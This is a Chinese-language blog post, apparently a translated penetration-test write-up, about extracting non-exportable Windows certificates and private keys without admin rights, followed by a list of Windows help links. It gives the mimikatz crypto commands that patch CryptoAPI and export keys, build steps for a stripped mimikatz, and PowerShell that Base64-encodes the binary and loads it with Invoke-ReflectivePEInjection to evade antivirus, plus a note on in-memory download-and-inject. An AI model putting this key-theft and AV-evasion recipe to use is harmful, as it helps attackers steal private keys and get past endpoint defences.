330
windows
使用 Mimikatz和Powersploit 提取 Windows 禁止導出的證書並逃避防護軟件
前段時間,我們的一位客戶與我們聯係了一個特殊的要求。由於某些原因,他們需要集中收集某些證書,包括分配在許多運行Windows客戶端係統並存儲在相應用戶存儲中的私鑰。不幸的是,特定的私鑰被標記為不可導出,從而在用戶上下文中產生本機導出。如果這還不夠,則提取應該在當前用戶的上下文中執行(即沒有管理權限),而根本不觸發現有的Anti Virus解決方案。此外,證書需要轉移到某些受信任的係統,而這些係統無法以未經授權的方式訪問。
證書/密鑰提取與Mimikatz
雖然還有其他的調查機會,直接從AD提取DPAPI保護的證書,並嚐試逆向工程加密過程,但我們決定采用mimikatz采取可預測的方法。使用mimikatz,非常簡單的從用戶商店中提取不可導出的證書,包括他們的私鑰。您隻需發出以下命令,並將PFX文件導出到mimikatz目錄:
crypto::capi
crypto::certificates /export /store:MY /systemstore:CURRENT_USER
第一個命令修補Windows Crypto API,以便導出不可導出的證書,第二個命令執行導出。
從Mimikatz剝離功能
所以我們可以提取好的證書。但是,mimikatz是一個非常強大的工具,可以做更多的東西,就像提取NTLM哈希值,密碼,票證等等。當然,我們不希望所有這些功能在客戶端係統上都是潛在可用的,特別是當我們想要逃避AV(但是請參閱下麵的主題)時。方便的是,mimikatz是開源軟件,所以我們可以建立自己的版本,所有這些功能被剝離。按照構建說明,我們需要設置Visual Studio並導入mimikatz項目。在解決方案資源管理器視圖中,我們可以安全地排除以下目錄及其子目錄中的所有文件,方法是右鍵單擊.c / .h文件並選擇“從項目中排除”:
mimikatz/modules/dpapi
mimikatz/modules/kerberos
mimikatz/modules/sekurlsa
在mimikatz / modules子目錄中,我們可以排除除以下內容之外的所有文件:
kull_m.h
kull_m_crypto.c
kull_m_crypto.h
kull_m_standard.c
kull_m_standard.h
在mimikatz目錄中,我們可以排除以下.c / .h文件之外的所有內容:
crypto
crypto_system
file
kernel
memory
minidump
output
patch
process
registry
registry_structures
service
mimikatz
為了使mimikatz仍然可以建立沒有錯誤,您需要修改mimikatz.h刪除除了以下所有不必要的包括:
#include "globals.h"
#include "modules/kuhl_m_standard.h"
#include "modules/kuhl_m_crypto.h"
#include
#include
另外,mimikatz.c需要通過以下方式進行修改:從const KUHL_M * mimikatz_modules []數組中刪除所有不需要的命令。在這種情況下,它現在看起來像這樣:
const KUHL_M * mimikatz_modules[] = {
&kuhl_m_standard,
&kuhl_m_crypto,
};
此外,我們需要注釋掉排除模塊的所有函數調用。在我們的例子中,這些是以下幾行:
kull_m_asn1_init();
kull_m_asn1_term();
status = kuhl_m_kernel_do(full + 1);
status = kuhl_m_rpc_do(full + 1);
逃避反病毒,使用Powershell
下一個要求是逃避防病毒引擎。正如預期的那樣,我們的修改不足以繞過AV。雖然有複雜的工具來打包和加密二進製程序來逃避AV,但是一些相當簡單的方法可能會做到這一點。通過Base64編碼我們的二進製文件並使用Invoke-ReflectivePEInjection執行它們,我們能夠成功地逃避AV檢測。我們可以將我們的二進製轉換為Powershell中的base64,如下所示:
$file = "
"
$fileBytes = [System.IO.File]::ReadAllBytes($file)
$base64Str = [System.Convert]::ToBase64String($fileBytes)
$base64Str | Out-File -filepath "/out.txt"
然後我們需要創建一個包含我們的base64編碼的二進製文件的Powershell腳本(在這種情況下,將Invoke-ReflectivePEInjection放在同一目錄中):
. .Invoke-ReflectivePEInjection.ps1
$ExeStr = ""
$ExeBytes = [System.Convert]::FromBase64String($ExeStr)
Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs " ..."
如果這還不足以逃避AV,那麼還有更多的可能性可以以更隱秘的方式做到這一點:
2.通過Powershell腳本中的網絡下載二進製文件和Invoke-ReflectivePEInjection(以加密格式),並將所有內容直接注入內存
安全收集私鑰
為了從中央服務器上的每個客戶端係統安全地收集證書,特別是他們的私鑰,會考慮不同的可能性:
2.一個網絡可訪問的數據庫,用戶隻有INSERT權限
3.某種形式的混合加密保護傳輸中的密鑰
雖然前兩個選項可以保護私鑰免遭未經授權的訪問,但第三個選項也可以在傳輸時提供對網絡上私鑰的保護。因此,我們決定使用強大且唯一的密碼來保護每個證書的私鑰,並使用公鑰加密該密碼,而該公鑰又包含在提取腳本中。最終,每個證書的私有密鑰都通過傳輸中的個人密碼和強密碼進行保護,然後可以通過與用於加密的公鑰相對應的私有密鑰在一些安全和可信係統上進行解密。
最後更新:2017-11-03 02:04:06
上一篇:
微軟視頻課堂
下一篇:
window hello 在此設備上不可用
win10中有時候彈出Microsoft Visual C++ Runtime Library runtime
開機出現藍屏 Page fault in nonpaged area
想分析藍屏問題,結果C盤沒有minidump這個文件夾,怎麼解決?
我打算把C盤的默認安裝軟件路徑改為E盤,C盤和E盤都有安裝的軟件,所以想改路徑,win10係統但是
開始菜單應用
為什麼win10 64位(版本1709)啟動時有時會恢複上一次關閉電腦時開著的程序?
Windows 7 的 Microsoft .NET Framework 4.5.2 (KB2901983)無法安裝
win10更新版本失敗,錯誤0xc1420127
WIN10 不定時藍屏收集錯誤信息,附上錯誤日誌
16299.19版windows含毒
相關內容
你的設備已過期,並缺少重要的安全和質量更新,因此存在風險。讓我們帶你重回正軌,這樣
Microsoft store 無法聯網,顯示Microsoft Store需要聯網,你似乎沒有聯網
設備以遷移 由於僅部分匹配或匹配不明確,因此無法遷移設備
由於在創建轉儲期間出錯,創建轉儲文件失敗。
發生臨時 DNS 錯誤
應用商店,在我們這邊發生問題,無法使你登陸,錯誤代碼: 0xD000000D
照相機不可用,錯誤代碼:0xA00F4244(0xC00DABE0)
應用商店打開異常提示“清單中指定了未知的布局”
自定義掃描Windows defender裏麵的設備性能和運行狀況 黃色感歎號問題
windows預口體驗成員內口版本遇到問題需要重啟
熱門內容
windows10 點開此電腦後,有兩個顯示硬盤盤符的目錄是怎麼回事?
windows 10 專業版無法下載中文語言包
KB4056892
win10不能共享文件夾
在Surfacebook上用Windows to go 1703版本,更新後重啟藍屏,無法進入係統
windows10 1709版本更新失敗,錯誤0x8007001f
microdoft visual c++ 2015 redistributable
WIN10 Insider Preview 17025更新失敗,錯誤代碼0x80096004
計算機管理服務 出現一個內部錯誤(INVALID
關於控製麵板中的安全和維護內提示Windows defender 防病毒已關閉的問題